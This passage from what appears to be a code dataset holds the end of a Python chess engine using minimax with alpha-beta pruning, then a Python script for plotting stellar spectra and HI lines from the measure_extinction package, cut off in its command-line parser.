is empty square\n\nWHITE = 0\nBLACK = 1\n\nPAWN = 1 << 1\nKNIGHT = 2 << 1\nBISHOP = 3 << 1\nROOK = 4 << 1\nQUEEN = 5 << 1\nKING = 6 << 1\n\nEMPTY_SQUARE = 0\nWHITE_PAWN = WHITE | PAWN\nWHITE_KNIGHT = WHITE | KNIGHT\nWHITE_BISHOP = WHITE | BISHOP\nWHITE_ROOK = WHITE | ROOK\nWHITE_QUEEN = WHITE | QUEEN\nWHITE_KING = WHITE | KING\nBLACK_PAWN = BLACK | PAWN\nBLACK_KNIGHT = BLACK | KNIGHT\nBLACK_BISHOP = BLACK | BISHOP\nBLACK_ROOK = BLACK | ROOK\nBLACK_QUEEN = BLACK | QUEEN\nBLACK_KING = BLACK | KING\n\nWHITE_PAWN_ROW = 1\nBLACK_PAWN_ROW = 6\nWHITE_PROMOTION_ROW = 7\nBLACK_PROMOTION_ROW = 0\n\nROOK_DIRECTIONS = np.array([[-1, 0], [+1, 0], [0, -1], [0, +1]])\nBISHOP_DIRECTIONS = np.array([[-1, -1], [-1, +1], [+1, -1], [+1, +1]])\nQUEEN_DIRECTIONS = np.concatenate((ROOK_DIRECTIONS, BISHOP_DIRECTIONS))\nKING_DIRECTIONS = QUEEN_DIRECTIONS # same as queen but 1 space at a time\nKNIGHT_DIRECTIONS = np.array([[-2, -1], [-2, +1], [-1, -2], [-1, +2],\n [+1, -2], [+1, +2], [+2, -1], [+2, +1]])\n\n\nboard = np.array([\n [WHITE_ROOK, WHITE_KNIGHT, WHITE_BISHOP, WHITE_QUEEN,\n WHITE_KING, WHITE_BISHOP, WHITE_KNIGHT, WHITE_ROOK],\n [WHITE_PAWN, WHITE_PAWN, WHITE_PAWN, WHITE_PAWN,\n WHITE_PAWN, WHITE_PAWN, WHITE_PAWN, WHITE_PAWN],\n [EMPTY_SQUARE, EMPTY_SQUARE, EMPTY_SQUARE, EMPTY_SQUARE,\n EMPTY_SQUARE, EMPTY_SQUARE, EMPTY_SQUARE, EMPTY_SQUARE],\n [EMPTY_SQUARE, EMPTY_SQUARE, EMPTY_SQUARE, EMPTY_SQUARE,\n EMPTY_SQUARE, EMPTY_SQUARE, EMPTY_SQUARE, EMPTY_SQUARE],\n [EMPTY_SQUARE, EMPTY_SQUARE, EMPTY_SQUARE, EMPTY_SQUARE,\n EMPTY_SQUARE, EMPTY_SQUARE, EMPTY_SQUARE, EMPTY_SQUARE],\n [EMPTY_SQUARE, EMPTY_SQUARE, EMPTY_SQUARE, EMPTY_SQUARE,\n EMPTY_SQUARE, EMPTY_SQUARE, EMPTY_SQUARE, EMPTY_SQUARE],\n [BLACK_PAWN, BLACK_PAWN, BLACK_PAWN, BLACK_PAWN,\n BLACK_PAWN, BLACK_PAWN, BLACK_PAWN, BLACK_PAWN],\n [BLACK_ROOK, BLACK_KNIGHT, BLACK_BISHOP, BLACK_QUEEN,\n BLACK_KING, BLACK_BISHOP, BLACK_KNIGHT, BLACK_ROOK]\n])\n\nPOSITION_BIAS = [\n (k, np.array(v).flatten())\n for k, v in [\n (PAWN, [\n [ 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n [ 0.5, 1.0, 1.0, -2.0, -2.0, 1.0, 1.0, 0.5],\n [ 0.5, -0.5, -1.0, 0.0, 0.0, -1.0, -0.5, 0.5],\n [ 0.0, 0.0, 0.0, 2.0, 2.0, 0.0, 0.0, 0.0],\n [ 0.5, 0.5, 1.0, 2.5, 2.5, 1.0, 0.5, 0.5],\n [ 1.0, 1.0, 2.0, 3.0, 3.0, 2.0, 1.0, 1.0],\n [ 5.0, 5.0, 5.0, 5.0, 5.0, 5.0, 5.0, 5.0],\n [ 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n ]),\n\n (KNIGHT, [\n [-5.0, -4.0, -3.0, -3.0, -3.0, -3.0, -4.0, -5.0],\n [-4.0, -2.0, 0.0, 0.5, 0.5, 0.0, -2.0, -4.0],\n [-3.0, 0.5, 1.0, 1.5, 1.5, 1.0, 0.5, -3.0],\n [-3.0, 0.0, 1.5, 2.0, 2.0, 1.5, 0.0, -3.0],\n [-3.0, 0.5, 1.5, 2.0, 2.0, 1.5, 0.5, -3.0],\n [-3.0, 0.0, 1.0, 1.5, 1.5, 1.0, 0.0, -3.0],\n [-4.0, -2.0, 0.0, 0.0, 0.0, 0.0, -2.0, -4.0],\n [-5.0, -4.0, -3.0, -3.0, -3.0, -3.0, -4.0, -5.0],\n ]),\n\n (BISHOP, [\n [-2.0, -1.0, -1.0, -1.0, -1.0, -1.0, -1.0, -2.0],\n [-1.0, 0.5, 0.0, 0.0, 0.0, 0.0, 0.5, -1.0],\n [-1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, -1.0],\n [-1.0, 0.0, 1.0, 1.0, 1.0, 1.0, 0.0, -1.0],\n [-1.0, 0.5, 0.5, 1.0, 1.0, 0.5, 0.5, -1.0],\n [-1.0, 0.0, 0.5, 1.0, 1.0, 0.5, 0.0, -1.0],\n [-1.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -1.0],\n [-2.0, -1.0, -1.0, -1.0, -1.0, -1.0, -1.0, -2.0],\n ]),\n\n (ROOK, [\n [ 0.0, 0.0, 0.0, 0.5, 0.5, 0.0, 0.0, 0.0],\n [-0.5, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.5],\n [-0.5, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.5],\n [-0.5, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.5],\n [-0.5, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.5],\n [-0.5, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.5],\n [ 0.5, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 0.5],\n [ 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0],\n ]),\n\n (QUEEN, [\n [-2.0, -1.0, -1.0, -0.5, -0.5, -1.0, -1.0, -2.0],\n [-1.0, 0.0, 0.5, 0.0, 0.0, 0.0, 0.0, -1.0],\n [-1.0, 0.5, 0.5, 0.5, 0.5, 0.5, 0.0, -1.0],\n [ 0.0, 0.0, 0.5, 0.5, 0.5, 0.5, 0.0, -0.5],\n [-0.5, 0.0, 0.5, 0.5, 0.5, 0.5, 0.0, -0.5],\n [-1.0, 0.0, 0.5, 0.5, 0.5, 0.5, 0.0, -1.0],\n [-1.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -1.0],\n [-2.0, -1.0, -1.0, -0.5, -0.5, -1.0, -1.0, -2.0],\n ]),\n\n (KING, [\n [ 2.0, 3.0, 1.0, 0.0, 0.0, 1.0, 3.0, 2.0],\n [ 2.0, 2.0, 0.0, 0.0, 0.0, 0.0, 2.0, 2.0],\n [-1.0, -2.0, -2.0, -2.0, -2.0, -2.0, -2.0, -1.0],\n [-2.0, -3.0, -3.0, -4.0, -4.0, -3.0, -3.0, -2.0],\n [-3.0, -4.0, -4.0, -5.0, -5.0, -4.0, -4.0, -3.0],\n [-3.0, -4.0, -4.0, -5.0, -5.0, -4.0, -4.0, -3.0],\n [-3.0, -4.0, -4.0, -5.0, -5.0, -4.0, -4.0, -3.0],\n [-3.0, -4.0, -4.0, -5.0, -5.0, -4.0, -4.0, -3.0],\n ]),\n ]\n]\n\n\nMove = namedtuple('Move', 'frm to capture promotion')\nPartialMove = namedtuple('PartialMove', 'to capture promotion')\n\n\ndef move_eq(m1, m2):\n return (m1.frm == m2.frm).all() and (m1.to == m2.to).all()\n\n\ndef status(board):\n if len(list(possible_moves(board, WHITE))) == 0:\n if is_in_check(board, WHITE):\n return BLACK\n else:\n return DRAW\n elif len(list(possible_moves(board, BLACK))) == 0:\n if is_in_check(board, BLACK):\n return WHITE\n else:\n return DRAW\n else:\n return IN_PROGRESS\n\n\ndef switch_color(color):\n return color ^ 1\n\n\ndef get_color(piece):\n \"\"\" Returns the color of the given piece \"\"\"\n return piece & 1\n\n\ndef get_piece_type(piece):\n \"\"\" Returns the piece type of the given piece \"\"\"\n return piece & ~1\n\n\ndef is_offboard(position, board):\n \"\"\" Returns true if position lies off board \"\"\"\n n_rows, n_cols = board.shape\n return (\n position[0] < 0\n or position[1] < 0\n or position[0] >= n_rows\n or position[1] >= n_cols\n )\n\n\ndef offset(p, d):\n \"\"\" Returns position shifted by d \"\"\"\n return p + d\n\n\ndef score_board_material(board):\n score_board = np.zeros(board.shape, dtype=np.int64)\n pieces = get_piece_type(board)\n score_board[pieces == KING] = 900\n score_board[pieces == QUEEN] = 90\n score_board[pieces == ROOK] = 50\n score_board[pieces == BISHOP] = 30\n score_board[pieces == KNIGHT] = 30\n score_board[pieces == PAWN] = 10\n score_board[get_color(board) == BLACK] *= -1\n return score_board.sum()\n\n\ndef score_board_with_pos_bias(board):\n flat_board = board.flatten()\n board_score = np.zeros(flat_board.shape, dtype=np.int64)\n for piece_type, bias in POSITION_BIAS:\n idx = get_piece_type(flat_board) == piece_type\n board_score[idx] = bias[idx]\n board_score[get_color(flat_board) == BLACK] *= -1\n return score_board_material(board) + board_score.sum()\n\n\nPIECE_REPR = {\n PAWN: 'P', KNIGHT: 'N', BISHOP: 'B',\n ROOK: 'R', QUEEN: 'Q', KING: 'K',\n}\n\n\ndef print_board(board):\n n_rows, n_cols = board.shape\n print(\" \", end=\"\")\n for c in range(n_cols):\n print(chr(ord('a') + c), end=\" \")\n print()\n for row_number, row in enumerate(board[::-1]):\n print(n_rows - row_number, end=\" \")\n for piece in row:\n if piece == EMPTY_SQUARE:\n print(\".\", end=\" \")\n continue\n piece_str = PIECE_REPR[get_piece_type(piece)]\n if get_color(piece) == BLACK:\n print(Fore.GREEN + piece_str + Style.RESET_ALL, end=\" \")\n else:\n print(Fore.BLUE + piece_str + Style.RESET_ALL, end=\" \")\n print()\n\n\ndef is_in_check_(board, color):\n \"\"\" Returns True if color is in check \"\"\"\n for _, _, capture, _ in possible_moves(board, switch_color(color), True):\n if capture != EMPTY_SQUARE and get_piece_type(capture) == KING:\n return True\n return False\n\n\ndef is_in_check(board, color):\n \"\"\" Return True if color is in check \"\"\"\n r, c = np.where(board == color | KING)\n king_position = np.array([r[0], c[0]])\n for piece in [PAWN, KNIGHT, BISHOP, ROOK, QUEEN, KING]:\n board[king_position[0], king_position[1]] = piece | color\n moves = possible_moves_from_position(board, color, king_position)\n for _, capture, _ in moves:\n if capture != EMPTY_SQUARE and get_piece_type(capture) == piece:\n board[king_position[0], king_position[1]] = KING | color\n return True\n board[king_position[0], king_position[1]] = KING | color\n return False\n\n\ndef check_coordinates(frm, to):\n if not (0 <= frm[0] <= 7 and 0 <= frm[1] <= 7 and\n 0 <= to[0] <= 7 and 0 <= to[1] <= 7):\n raise Exception(\"Wrong coordinates format\")\n\n\ndef apply_move(board, move):\n frm, to, _, promotion_piece = move\n board[to[0], to[1]] = board[frm[0], frm[1]]\n board[frm[0], frm[1]] = EMPTY_SQUARE\n if promotion_piece:\n color = get_color(board[to[0], to[1]])\n board[to[0], to[1]] = color | promotion_piece\n\n\ndef undo_move(board, move):\n frm, to, cpt, promotion_piece = move\n board[frm[0], frm[1]] = board[to[0], to[1]]\n board[to[0], to[1]] = cpt\n if promotion_piece:\n color = get_color(board[to[0], to[1]])\n board[frm[0], frm[1]] = color | PAWN\n\n\ndef possible_moves(board, color, ignore_checks=False):\n \"\"\" Generate all possible moves for color at given position \"\"\"\n n_rows, n_cols = board.shape\n squares = np.array([(r, c)\n for r in range(n_rows)\n for c in range(n_cols)])\n for square in squares:\n for move_result in possible_moves_from_position(board, color, square):\n move = Move(square, *move_result)\n if ignore_checks:\n yield move\n else:\n apply_move(board, move)\n if not is_in_check(board, color):\n undo_move(board, move)\n yield move\n else:\n undo_move(board, move)\n\n\ndef possible_moves_from_position(board, color, position):\n \"\"\" Generate all possible moves from position \"\"\"\n\n def step_move(directions):\n \"\"\" Generate moves for step/jump movers (K, N) \"\"\"\n for direction in directions:\n new_position = offset(position, direction)\n if not is_offboard(new_position, board):\n piece = board[new_position[0], new_position[1]]\n if piece == EMPTY_SQUARE or get_color(piece) != color:\n yield PartialMove(new_position, piece, None)\n\n def range_move(directions):\n \"\"\" Generate moves for range movers (B, R, Q) \"\"\"\n for direction in directions:\n i = 1\n while True:\n new_position = offset(\n position,\n (i * direction[0], i * direction[1]))\n if is_offboard(new_position, board):\n break\n else:\n piece = board[new_position[0], new_position[1]]\n if piece == EMPTY_SQUARE:\n yield PartialMove(new_position, EMPTY_SQUARE, None)\n i += 1\n elif get_color(piece) == color:\n break\n else:\n yield PartialMove(new_position, piece, None)\n break\n\n def pawn_move(direction, first_row=False):\n \"\"\" Generate pawn moves \"\"\"\n # forward\n new_position = offset(position, (direction, 0))\n promotion_row = (WHITE_PROMOTION_ROW\n if color == WHITE\n else BLACK_PROMOTION_ROW)\n if (not is_offboard(new_position, board)\n and board[new_position[0], new_position[1]] == EMPTY_SQUARE):\n if new_position[0] == promotion_row:\n for promotion_piece in [PAWN, KNIGHT, BISHOP, ROOK, QUEEN]:\n yield PartialMove(new_position, EMPTY_SQUARE, promotion_piece)\n else:\n yield PartialMove(new_position, EMPTY_SQUARE, None)\n\n # double move\n new_position = offset(position, (2 * direction, 0))\n if (first_row\n and board[new_position[0], new_position[1]] == EMPTY_SQUARE):\n yield PartialMove(new_position, EMPTY_SQUARE, None)\n\n # capture\n # TODO: capture promotion\n for column in (-1, 1):\n new_position = offset(position, (direction, column))\n if not is_offboard(new_position, board):\n piece_on_new_position = board[new_position[0], new_position[1]]\n if (piece_on_new_position != EMPTY_SQUARE\n and get_color(piece_on_new_position) != color):\n yield PartialMove(new_position, piece_on_new_position, None)\n\n piece = board[position[0], position[1]]\n if piece == EMPTY_SQUARE or get_color(piece) != color:\n return\n\n piece_type = get_piece_type(piece)\n\n if piece_type == PAWN:\n if color == WHITE:\n yield from pawn_move(+1, position[0] == WHITE_PAWN_ROW)\n else:\n yield from pawn_move(-1, position[0] == BLACK_PAWN_ROW)\n elif piece_type == KNIGHT:\n yield from step_move(KNIGHT_DIRECTIONS)\n elif piece_type == BISHOP:\n yield from range_move(BISHOP_DIRECTIONS)\n elif piece_type == ROOK:\n yield from range_move(ROOK_DIRECTIONS)\n elif piece_type == QUEEN:\n yield from range_move(QUEEN_DIRECTIONS)\n elif piece_type == KING:\n yield from step_move(KING_DIRECTIONS)\n\n\ndef alg_notation_to_position(p):\n c = ord(p[0]) - ord('a')\n r = ord(p[1]) - ord('1')\n return np.array([r, c])\n\n\ndef position_to_alg_notation(p):\n r, c = p\n return chr(c + ord('a')) + chr(r + ord('1'))\n\n\ndef minimax(board, color, depth, alpha, beta):\n global counter\n counter += 1\n\n if depth == 1:\n return score_board_with_pos_bias(board)\n\n if color == WHITE:\n best_move = -math.inf\n for move in possible_moves(board, color):\n removed_piece = apply_move(board, move)\n best_move = max(\n best_move,\n minimax(board, switch_color(color), depth - 1, alpha, beta)\n )\n undo_move(board, move)\n alpha = max(alpha, best_move)\n if beta <= alpha:\n return best_move\n return best_move\n else:\n best_move = math.inf\n for move in possible_moves(board, color):\n removed_piece = apply_move(board, move)\n best_move = min(\n best_move,\n minimax(board, switch_color(color), depth - 1, alpha, beta)\n )\n undo_move(board, move)\n beta = min(beta, best_move)\n if beta <= alpha:\n return best_move\n return best_move\n\n\ndef choose_best_move_minimax(board, color):\n global counter\n counter = 0\n best_moves = []\n if color == WHITE:\n f = max\n best_score = -math.inf\n else:\n f = min\n best_score = math.inf\n possible_move_cnt = 0\n for move in possible_moves(board, color):\n possible_move_cnt += 1\n apply_move(board, move)\n child_score = minimax(\n board,\n switch_color(color),\n SEARCH_DEPTH,\n -math.inf,\n math.inf\n )\n undo_move(board, move)\n if f(child_score, best_score) == child_score:\n if child_score == best_score:\n best_moves.append(move)\n else:\n best_moves = [move]\n best_score = child_score\n print(f\"possible moves = {possible_move_cnt}\")\n return best_moves[randint(0, len(best_moves)) - 1]\n\n\ndef parse_move(move_str):\n move = move_str.split(' ')\n frm = alg_notation_to_position(move[0])\n to = alg_notation_to_position(move[1])\n check_coordinates(frm, to)\n return Move(frm, to, None, None)\n\n\nif __name__ == '__main__':\n rounds = 1\n while True:\n try:\n print(Fore.YELLOW + \"ROUND #\" + repr(rounds) + Style.RESET_ALL)\n print_board(board)\n move = parse_move(input(\": \"))\n apply_move(board, move)\n ai_move = choose_best_move_minimax(board, BLACK)\n apply_move(board, ai_move)\n rounds += 1\n print(f\"cc {counter}\")\n print()\n except Exception as e:\n print(Fore.RED + str(e) + Style.RESET_ALL)\n", "source": "joshsteiner/szachy-si", "license": "MIT"} {"text": "#!/usr/bin/env python\n\nfrom __future__ import absolute_import, division, print_function, unicode_literals\n\nimport pkg_resources\nimport argparse\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport astropy.units as u\nimport pandas as pd\n\nfrom measure_extinction.stardata import StarData\n\n\ndef plot_HI(path, ax):\n \"\"\"\n Indicate the HI-lines on the plot (between 912A and 10 micron)\n\n Parameters\n ----------\n ax : AxesSubplot\n Axes of plot for which to add the HI-lines\n\n Returns\n -------\n Indicates HI-lines on the plot\n \"\"\"\n # read in HI-lines\n table = pd.read_table(path + \"HI_lines.list\", sep=r\"\\s+\", comment=\"#\")\n # group lines by series\n series_groups = table.groupby(\"n'\")\n colors = plt.get_cmap(\"tab10\")\n series_names = {\n 1: \"Ly\",\n 2: \"Ba\",\n 3: \"Pa\",\n 4: \"Br\",\n 5: \"Pf\",\n 6: \"Hu\",\n 7: \"7\",\n 8: \"8\",\n 9: \"9\",\n 10: \"10\",\n }\n for name, series in series_groups:\n # plot the lines\n for wave in series.wavelength:\n ax.axvline(wave, color=colors(name - 1), lw=0.05, alpha=0.4)\n # add the name of the series\n ax.text(\n series.wavelength.mean(),\n 0.04,\n series_names[name],\n transform=ax.get_xaxis_transform(),\n color=colors(name - 1),\n ).set_clip_on(True)\n\n\ndef zoom(ax, range):\n \"\"\"\n Zoom in on the requested wavelength range by setting the axes limits to this range\n\n Parameters\n ----------\n ax : AxesSubplot\n Axes of plot for which new limits need to be set\n\n range : list of 2 floats\n Wavelength range to be plotted [min, max]\n in micron when plotting wavelengths or in 1/micron when plotting wavenumber\n\n Returns\n -------\n Sets the axes limits to the requested range\n \"\"\"\n # set the x axis limits\n ax.set_xlim(range)\n\n # calculate the appropriate y axis limits\n ymin, ymax = np.inf, -np.inf\n for line in ax.get_lines():\n x_data = line.get_xdata()\n # skip the plotted HI-lines to calculate the y axis limits (because those have y_data in axes coordinates)\n if x_data[0] == x_data[1]:\n continue\n y_data = line.get_ydata()[\n np.logical_and(x_data >= range[0], x_data <= range[1])\n ]\n if y_data.size != 0 and np.nanmin(y_data) < ymin:\n ymin = np.nanmin(y_data)\n if y_data.size != 0 and np.nanmax(y_data) > ymax:\n ymax = np.nanmax(y_data)\n ax.set_ylim(ymin * 0.95, ymax * 1.05)\n\n\ndef plot_multi_spectra(\n starlist,\n path,\n mlam4=False,\n HI_lines=False,\n range=None,\n norm_range=None,\n spread=False,\n exclude=[],\n log=False,\n class_offset=True,\n text_offsets=[],\n text_angles=[],\n multicolor=False,\n wavenum=False,\n deredden=False,\n pdf=False,\n outname=\"all_spec.pdf\",\n):\n \"\"\"\n Plot the observed band and spectral data of multiple stars in the same plot\n\n Parameters\n ----------\n starlist : list of strings\n List of stars for which to plot the spectrum\n\n path : string\n Path to the data files\n\n mlam4 : boolean [default=False]\n Whether or not to multiply the flux F(lambda) by lambda^4 to remove the Rayleigh-Jeans slope\n\n HI_lines : boolean [default=False]\n Whether or not to indicate the HI-lines in the plot\n\n range : list of 2 floats [default=None]\n Wavelength range to be plotted [min, max]\n in micron when plotting wavelengths or in 1/micron when plotting wavenumber\n\n norm_range : list of 2 floats [default=None]\n Wavelength range to use to normalize the data (in micron)- [min,max]\n\n spread : boolean [default=False]\n Whether or not to spread the spectra out by adding a vertical offset to each spectrum\n\n exclude : list of strings [default=[]]\n List of data type(s) to exclude from the plot (e.g., IRS)\n\n log : boolean [default=False]\n Whether or not to plot the wavelengths on a log-scale\n\n class_offset : boolean [default=True]\n Whether or not to add an extra offset between main sequence and giant stars (only relevant when spread=True; this only works when the stars are sorted by spectral class, i.e. first the main sequence and then the giant stars)\n\n text_offsets : list of floats [default=[]]\n List of the same length as starlist with offsets for the annotated text\n\n text_angles : list of integers [default=[]]\n List of the same length as starlist with rotation angles for the annotated text\n\n multicolor : boolean [default=False]\n Whether or not to give all spectra a different color\n\n pdf : boolean [default=False]\n Whether or not to save the figure as a pdf file\n\n wavenum : boolean [default=False]\n Whether or not to plot the wavelengths as wavenumbers = 1/wavelength\n\n deredden : boolean [default=False]\n Deredden the data based on dereddening parameters given in the DAT file.\n Generally used to deredden standards.\n\n outname : string [default=\"all_spec.pdf\"]\n Name for the output pdf file\n\n Returns\n -------\n Figure with band data points and spectra of multiple stars\n \"\"\"\n # plotting setup for easier to read plots\n fontsize = 18\n font = {\"size\": fontsize}\n plt.rc(\"font\", **font)\n plt.rc(\"lines\", linewidth=1)\n plt.rc(\"axes\", linewidth=2)\n plt.rc(\"xtick.major\", width=2)\n plt.rc(\"xtick.minor\", width=2)\n plt.rc(\"ytick.major\", width=2)\n plt.rc(\"ytick.minor\", width=2)\n\n # create the plot\n fig, ax = plt.subplots(figsize=(15, len(starlist) * 1.25))\n colors = plt.get_cmap(\"tab10\")\n\n if norm_range is not None:\n norm_range = norm_range * u.micron\n\n # set default text offsets and angles\n if text_offsets == []:\n text_offsets = np.full(len(starlist), 0.2)\n if text_angles == []:\n text_angles = np.full(len(starlist), 10)\n\n for i, star in enumerate(starlist):\n # read in all bands and spectra for this star\n starobs = StarData(\n \"%s.dat\" % star.lower(), path=path, use_corfac=True, deredden=deredden\n )\n\n # spread out the spectra if requested\n # add extra whitespace when the luminosity class changes from main sequence to giant\n if spread:\n extra_off = 0\n if \"V\" not in starobs.sptype and class_offset:\n extra_off = 1\n yoffset = extra_off + 0.5 * i\n else:\n yoffset = 0\n\n # determine where to add the name of the star and its spectral type\n # find the shortest plotted wavelength, and give preference to spectral data when available\n exclude2 = []\n if \"BAND\" in starobs.data.keys() and len(starobs.data.keys()) > 1:\n exclude2 = [\"BAND\"]\n (waves, fluxes, flux_uncs) = starobs.get_flat_data_arrays(\n starobs.data.keys() - (exclude + exclude2)\n )\n if wavenum:\n x = 1 / waves\n else:\n x = waves\n if range is not None:\n x = x[x >= range[0]]\n min_x = x[0]\n # find out which data type corresponds with this wavelength\n for data_type in starobs.data.keys():\n if data_type in exclude:\n continue\n if wavenum:\n cx = 1.0 / starobs.data[data_type].waves\n else:\n cx = starobs.data[data_type].waves\n used_x = cx[starobs.data[data_type].npts > 0]\n if min_x in used_x.value:\n ann_key = data_type\n ann_range = [min_x, min_x] * u.micron\n\n # plot the spectrum\n if multicolor:\n pcolor = colors(i % 10)\n else:\n pcolor = \"k\"\n starobs.plot(\n ax,\n pcolor=pcolor,\n norm_wave_range=norm_range,\n mlam4=mlam4,\n wavenum=wavenum,\n exclude=exclude,\n yoffset=yoffset,\n yoffset_type=\"add\",\n annotate_key=ann_key,\n annotate_wave_range=ann_range,\n annotate_text=star.upper() + \" \" + starobs.sptype,\n annotate_yoffset=text_offsets[i],\n annotate_rotation=text_angles[i],\n annotate_color=pcolor,\n )\n\n # plot HI-lines if requested\n if HI_lines:\n plot_HI(path, ax)\n\n # zoom in on a specific region if requested\n if range is not None:\n zoom(ax, range)\n outname = outname.replace(\".pdf\", \"_zoom.pdf\")\n\n # finish configuring the plot\n if not spread:\n ax.set_yscale(\"log\")\n if log:\n ax.set_xscale(\"log\")\n if wavenum:\n xlab = r\"$1/\\lambda$ [$\\mu m^{-1}$]\"\n else:\n xlab = r\"$\\lambda$ [$\\mu m$]\"\n ax.set_xlabel(xlab, fontsize=1.5 * fontsize)\n ylabel = r\"$F(\\lambda)$\"\n\n if norm_range is not None:\n if norm_range[0].unit == \"micron\":\n units = r\"$\\mu m$\"\n else:\n units = norm_range[0].unit\n ylabel += \"/$F$(\" + str(int(np.mean(norm_range).value)) + units + \")\"\n else:\n ylabel += r\" [$ergs\\ cm^{-2}\\ s^{-1}\\ \\AA^{-1}$]\"\n if mlam4:\n ylabel = r\"$\\lambda^4$\" + ylabel.replace(\"]\", r\" $\\mu m^4$]\")\n outname = outname.replace(\"spec\", \"spec_mlam4\")\n if spread:\n ylabel += \" + offset\"\n ax.set_ylabel(ylabel, fontsize=1.5 * fontsize)\n ax.tick_params(\"both\", length=10, width=2, which=\"major\")\n ax.tick_params(\"both\", length=5, width=1, which=\"minor\")\n\n # show the figure or save it to a pdf file\n if pdf:\n fig.savefig(path + outname, bbox_inches=\"tight\")\n else:\n plt.show()\n\n # return the figure and axes for additional manipulations\n return fig, ax\n\n\ndef plot_spectrum(\n star,\n path,\n mlam4=False,\n HI_lines=False,\n range=None,\n norm_range=None,\n exclude=[],\n log=False,\n wavenum=False,\n deredden=False,\n pdf=False,\n):\n \"\"\"\n Plot the observed band and spectral data of a star\n\n Parameters\n ----------\n star : string\n Name of the star for which to plot the spectrum\n\n path : string\n Path to the data files\n\n mlam4 : boolean [default=False]\n Whether or not to multiply the flux F(lambda) by lambda^4 to remove the Rayleigh-Jeans slope\n\n HI_lines : boolean [default=False]\n Whether or not to indicate the HI-lines in the plot\n\n range : list of 2 floats [default=None]\n Wavelength range to be plotted - [min,max]\n\n norm_range : list of 2 floats [default=None]\n Wavelength range to use to normalize the data (in micron)- [min,max]\n\n exclude : list of strings [default=[]]\n List of data type(s) to exclude from the plot (e.g., IRS)\n\n log : boolean [default=False]\n Whether or not to plot the wavelengths on a log-scale\n\n wavenum : boolean [default=False]\n Whether or not to plot the wavelengths as wavenumbers = 1/wavelength\n\n deredden : boolean [default=False]\n Deredden the data based on dereddening parameters given in the DAT file.\n Generally used to deredden standards.\n\n pdf : boolean [default=False]\n Whether or not to save the figure as a pdf file\n\n Returns\n -------\n Figure with band data points and spectrum\n \"\"\"\n # plotting setup for easier to read plots\n fontsize = 18\n font = {\"size\": fontsize}\n plt.rc(\"font\", **font)\n plt.rc(\"lines\", linewidth=1)\n plt.rc(\"axes\", linewidth=2)\n plt.rc(\"xtick.major\", width=2)\n plt.rc(\"xtick.minor\", width=2)\n plt.rc(\"ytick.major\", width=2)\n plt.rc(\"ytick.minor\", width=2)\n\n # create the plot\n fig, ax = plt.subplots(figsize=(13, 10))\n\n # read in and plot all bands and spectra for this star\n starobs = StarData(\n \"%s.dat\" % star.lower(), path=path, use_corfac=True, deredden=deredden\n )\n if norm_range is not None:\n norm_range = norm_range * u.micron\n starobs.plot(\n ax, norm_wave_range=norm_range, mlam4=mlam4, exclude=exclude, wavenum=wavenum\n )\n # plot HI-lines if requested\n if HI_lines:\n plot_HI(path, ax)\n\n # define the output name\n outname = star.lower() + \"_spec.pdf\"\n\n # zoom in on a specific region if requested\n if range is not None:\n zoom(ax, range)\n outname = outname.replace(\".pdf\", \"_zoom.pdf\")\n\n # finish configuring the plot\n if log:\n ax.set_xscale(\"log\")\n ax.set_yscale(\"log\")\n ax.set_title(star.upper(), fontsize=50)\n if wavenum:\n xlab = r\"$1/\\lambda$ [$\\mu m^{-1}$]\"\n else:\n xlab = r\"$\\lambda$ [$\\mu m$]\"\n ax.set_xlabel(xlab, fontsize=1.5 * fontsize)\n if mlam4:\n ax.set_ylabel(\n r\"$F(\\lambda)\\ \\lambda^4$ [$ergs\\ cm^{-2}\\ s^{-1}\\ \\AA^{-1}\\ \\mu m^4$]\",\n fontsize=1.5 * fontsize,\n )\n outname = outname.replace(\"spec\", \"spec_mlam4\")\n else:\n ax.set_ylabel(\n r\"$F(\\lambda)$ [$ergs\\ cm^{-2}\\ s^{-1}\\ \\AA^{-1}$]\",\n fontsize=1.5 * fontsize,\n )\n ax.tick_params(\"both\", length=10, width=2, which=\"major\")\n ax.tick_params(\"both\", length=5, width=1, which=\"minor\")\n\n # show the figure or save it to a pdf file\n if pdf:\n fig.savefig(path + outname, bbox_inches=\"tight\")\n plt.close()\n else:\n plt.show()\n\n # return the figure and axes for additional manipulations\n return fig, ax\n\n\ndef main():\n # commandline parser\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"starlist\",\n nargs=\"+\",\n help=\"star name or list of star names for which to plot the spectrum\",\n )\n parser.add_argument(\n \"--path\",\n help=\"path to the data files\",\n default=pkg_resources.resource_filename(\"measure_extinction\", \"data/\"),\n )\n parser.add_argument(\"--mlam4\", help=\"plot lambda^4*F(lambda)\", action=\"store_true\")\n parser.add_argument(\"--HI_lines\", help=\"indicate the HI-lines\", action=\"store_true\")\n parser.add_argument(\n \"--onefig\",\n help=\"whether or not to plot all spectra in the same figure\",\n action=\"store_true\",\n )\n parser.add_argument(\n \"--range\",\n nargs=\"+\",\n help=\"wavelength range to be plotted\",\n type=float,\n default=None,\n )\n parser.add_argument(\n \"--norm_range\",\n nargs=\"+\",\n help=\"wavelength range to use to normalize the spectrum (in micron)\",\n type=float,\n default=None,\n )\n parser.add_argument(\n \"--spread\",\n help=\"spread the spectra out over the figure; can only be used in combination with --onefig\",\n action=\"store_true\",\n )\n parser.add_argument(\n \"--exclude\",\n nargs=\"+\",\n help=\"data type(s) to be excluded from the plot\",\n type=str,\n default=[],\n )\n parser.add_argument(\n \"--log\", help=\"plot wavelengths on a log-scale\", action=\"store_true\"\n )\n parser.add_argument(\n \"--wavenum\", help=\"plot wavenumbers = 1/wavelengths\", action=\"store_true\"\n )\n parser.add_argument(\n \"--deredden\",\n help=\"deredden the data based on saved parameters\",\n action=\"store_true\",\n )\n parser.add_argument(\"--pdf\", help=\"save figure as a pdf file\", action=\"store_true\")\n args = 